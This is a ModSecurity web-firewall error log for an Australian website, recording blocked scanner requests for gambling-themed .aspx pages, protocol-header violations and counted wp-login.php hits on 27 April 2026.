[Mon Apr 27 07:30:46.307628 2026] [:error] [pid 36488:tid 36505] [client 146.19.215.244:55044] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ae6gJsIA2VZgjxmwXxP4qQAAAAw"]
[Mon Apr 27 07:30:48.764379 2026] [:error] [pid 36489:tid 36531] [client 146.19.215.244:55048] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ae6gKI6sRkW8OfGv18q11gAAAEo"]
[Mon Apr 27 07:30:51.214135 2026] [:error] [pid 36490:tid 36552] [client 146.19.215.244:55054] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ae6gK0xiWa1s9LPhuWK0JwAAAIQ"]
[Mon Apr 27 07:30:53.513270 2026] [:error] [pid 36789:tid 36796] [client 146.19.215.244:55064] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ae6gLdnrZBzXPaJGSeLmNAAAAMU"]
[Mon Apr 27 07:30:56.052211 2026] [:error] [pid 36489:tid 36543] [client 146.19.215.244:58488] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ae6gMI6sRkW8OfGv18q12gAAAFY"]
[Mon Apr 27 07:30:58.330149 2026] [:error] [pid 36789:tid 36795] [client 146.19.215.244:58502] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ae6gMtnrZBzXPaJGSeLmSwAAAMQ"]
[Mon Apr 27 07:31:00.661386 2026] [:error] [pid 36575:tid 36594] [client 146.19.215.244:58510] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ae6gNLeGZIkifrMjcl9MowAAARE"]
[Mon Apr 27 07:31:03.134211 2026] [:error] [pid 36789:tid 36814] [client 146.19.215.244:58524] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ae6gN9nrZBzXPaJGSeLmXAAAANc"]
[Mon Apr 27 07:31:05.513882 2026] [:error] [pid 36490:tid 36554] [client 146.19.215.244:49152] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ae6gOUxiWa1s9LPhuWK0MQAAAIY"]
[Mon Apr 27 07:31:08.000973 2026] [:error] [pid 36789:tid 36807] [client 146.19.215.244:49164] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ae6gO9nrZBzXPaJGSeLmYwAAANA"]
[Mon Apr 27 07:31:10.478264 2026] [:error] [pid 36489:tid 36534] [client 146.19.215.244:49170] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ae6gPo6sRkW8OfGv18q13wAAAE0"]
[Mon Apr 27 07:31:12.785502 2026] [:error] [pid 36789:tid 36795] [client 146.19.215.244:49174] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ae6gQNnrZBzXPaJGSeLmbwAAAMQ"]
[Mon Apr 27 07:31:15.152540 2026] [:error] [pid 36489:tid 36526] [client 146.19.215.244:54540] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ae6gQ46sRkW8OfGv18q14QAAAEU"]
[Mon Apr 27 07:31:17.619582 2026] [:error] [pid 36575:tid 36589] [client 146.19.215.244:54542] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "ae6gRbeGZIkifrMjcl9MtQAAAQw"]
[Mon Apr 27 07:31:20.080873 2026] [:error] [pid 36490:tid 36551] [client 146.19.215.244:54550] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "ae6gSExiWa1s9LPhuWK0PQAAAIM"]
[Mon Apr 27 07:31:22.548944 2026] [:error] [pid 36789:tid 36814] [client 146.19.215.244:54556] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ae6gStnrZBzXPaJGSeLmegAAANc"]
[Mon Apr 27 07:31:25.038120 2026] [:error] [pid 36789:tid 36813] [client 146.19.215.244:51716] [client 146.19.215.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ae6gTdnrZBzXPaJGSeLmggAAANY"]
[Mon Apr 27 08:21:33.380304 2026] [:error] [pid 50862:tid 50913] [client 43.156.156.96:53292] [client 43.156.156.96] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae6sDUtKr9IOeW7InlXKqwAAAJU"]
[Mon Apr 27 08:35:27.058209 2026] [:error] [pid 50862:tid 50907] [client 87.106.94.234:42436] [client 87.106.94.234] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 87.106.94.234, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae6vT0tKr9IOeW7InlXOuAAAAI8"]
[Mon Apr 27 09:03:17.392305 2026] [:error] [pid 7056:tid 7077] [client 157.245.242.100:43888] [client 157.245.242.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.245.242.100, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ae611SaiHlvwyvjHbetxJwAAARI"]
[Mon Apr 27 09:23:43.289388 2026] [:error] [pid 10926:tid 10950] [client 182.42.105.144:50922] [client 182.42.105.144] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ae66n85JVz6UQRubscMJRwAAAZY"]
[Mon Apr 27 09:49:21.497999 2026] [:error] [pid 10896:tid 10903] [client 81.167.26.57:34941] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "ae7AoV7aFv2GLXAkamnX2gAAAEU"]
[Mon Apr 27 09:49:23.919462 2026] [:error] [pid 6972:tid 7051] [client 81.167.26.57:49330] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "ae7Ao-JniPbCiT6NuKfO-QAAAVc"]
[Mon Apr 27 09:49:26.506881 2026] [:error] [pid 10926:tid 10940] [client 81.167.26.57:23182] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ae7Aps5JVz6UQRubscMW-QAAAYw"]
[Mon Apr 27 09:49:29.148644 2026] [:error] [pid 10896:tid 10918] [client 81.167.26.57:55400] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ae7AqV7aFv2GLXAkamnX3gAAAFQ"]
[Mon Apr 27 09:49:31.762292 2026] [:error] [pid 10926:tid 10929] [client 81.167.26.57:23627] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ae7Aq85JVz6UQRubscMXCQAAAYE"]
[Mon Apr 27 09:49:34.396277 2026] [:error] [pid 10926:tid 10932] [client 81.167.26.57:60986] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ae7Ars5JVz6UQRubscMXFAAAAYQ"]
[Mon Apr 27 09:49:37.032451 2026] [:error] [pid 10926:tid 10945] [client 81.167.26.57:44670] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ae7Asc5JVz6UQRubscMXIQAAAZE"]
[Mon Apr 27 09:49:39.507115 2026] [:error] [pid 7056:tid 7073] [client 81.167.26.57:10812] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ae7AsyaiHlvwyvjHbeuETwAAAQ4"]
[Mon Apr 27 09:49:42.098273 2026] [:error] [pid 7056:tid 7063] [client 81.167.26.57:12824] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ae7AtiaiHlvwyvjHbeuEVQAAAQQ"]
[Mon Apr 27 09:49:44.762568 2026] [:error] [pid 10926:tid 10929] [client 81.167.26.57:3655] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ae7AuM5JVz6UQRubscMXOgAAAYE"]
[Mon Apr 27 09:49:47.212895 2026] [:error] [pid 6970:tid 6982] [client 81.167.26.57:22037] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ae7Auys_dFVzfQoHW0RJSwAAAIg"]
[Mon Apr 27 09:49:49.808245 2026] [:error] [pid 7056:tid 7073] [client 81.167.26.57:43903] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ae7AvSaiHlvwyvjHbeuEZAAAAQ4"]
[Mon Apr 27 09:49:52.306570 2026] [:error] [pid 7056:tid 7059] [client 81.167.26.57:11035] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ae7AwCaiHlvwyvjHbeuEaQAAAQA"]
[Mon Apr 27 09:49:54.860822 2026] [:error] [pid 10926:tid 10940] [client 81.167.26.57:33958] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ae7Aws5JVz6UQRubscMXgwAAAYw"]
[Mon Apr 27 09:49:57.303829 2026] [:error] [pid 10867:tid 10878] [client 81.167.26.57:61286] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ae7AxbOAkozQqeaYR1tghgAAAAg"]
[Mon Apr 27 09:49:59.973961 2026] [:error] [pid 10926:tid 10942] [client 81.167.26.57:11976] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ae7Ax85JVz6UQRubscMXqgAAAY4"]
[Mon Apr 27 09:50:02.534713 2026] [:error] [pid 10867:tid 10879] [client 81.167.26.57:19684] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ae7AyrOAkozQqeaYR1tgjwAAAAk"]
[Mon Apr 27 09:50:05.174802 2026] [:error] [pid 7056:tid 7069] [client 81.167.26.57:28582] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ae7AzSaiHlvwyvjHbeuEeAAAAQo"]
[Mon Apr 27 09:50:08.720723 2026] [:error] [pid 10867:tid 10887] [client 81.167.26.57:7604] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ae7A0LOAkozQqeaYR1tgmgAAABE"]
[Mon Apr 27 09:50:11.393809 2026] [:error] [pid 6970:tid 6992] [client 81.167.26.57:32754] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ae7A0ys_dFVzfQoHW0RJXAAAAJI"]
[Mon Apr 27 09:50:14.036480 2026] [:error] [pid 10867:tid 10890] [client 81.167.26.57:39126] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ae7A1rOAkozQqeaYR1tgnAAAABQ"]
[Mon Apr 27 09:50:16.666827 2026] [:error] [pid 6971:tid 7003] [client 81.167.26.57:9599] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ae7A2LOap7jCIaP4nNPgzAAAAMI"]
[Mon Apr 27 09:50:51.001139 2026] [:error] [pid 6970:tid 6997] [client 81.167.26.57:30503] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "ae7A-is_dFVzfQoHW0RJdAAAAJc"]
[Mon Apr 27 09:50:53.624380 2026] [:error] [pid 10896:tid 10903] [client 81.167.26.57:31341] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "ae7A_V7aFv2GLXAkamnYJgAAAEU"]
[Mon Apr 27 09:50:56.347998 2026] [:error] [pid 10926:tid 10946] [client 81.167.26.57:22904] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "ae7BAM5JVz6UQRubscMYZgAAAZI"]
[Mon Apr 27 09:50:59.025136 2026] [:error] [pid 6970:tid 6979] [client 81.167.26.57:4453] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ae7BAys_dFVzfQoHW0RJgQAAAIU"]
[Mon Apr 27 09:51:01.664020 2026] [:error] [pid 10926:tid 10936] [client 81.167.26.57:2853] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ae7BBc5JVz6UQRubscMYbwAAAYg"]
[Mon Apr 27 09:51:04.833215 2026] [:error] [pid 7056:tid 7077] [client 81.167.26.57:7494] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ae7BCCaiHlvwyvjHbeuEpQAAARI"]
[Mon Apr 27 09:51:07.481699 2026] [:error] [pid 6970:tid 6997] [client 81.167.26.57:24843] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ae7BCys_dFVzfQoHW0RJiQAAAJc"]
[Mon Apr 27 09:51:10.209243 2026] [:error] [pid 6971:tid 7005] [client 81.167.26.57:43966] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ae7BDrOap7jCIaP4nNPhGwAAAMQ"]
[Mon Apr 27 09:51:12.762878 2026] [:error] [pid 10896:tid 10921] [client 81.167.26.57:59798] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ae7BEF7aFv2GLXAkamnYPAAAAFc"]
[Mon Apr 27 09:51:15.412911 2026] [:error] [pid 6970:tid 6975] [client 81.167.26.57:33845] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ae7BEys_dFVzfQoHW0RJkQAAAIE"]
[Mon Apr 27 09:51:18.015719 2026] [:error] [pid 6970:tid 6984] [client 81.167.26.57:38970] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ae7BFis_dFVzfQoHW0RJlAAAAIo"]
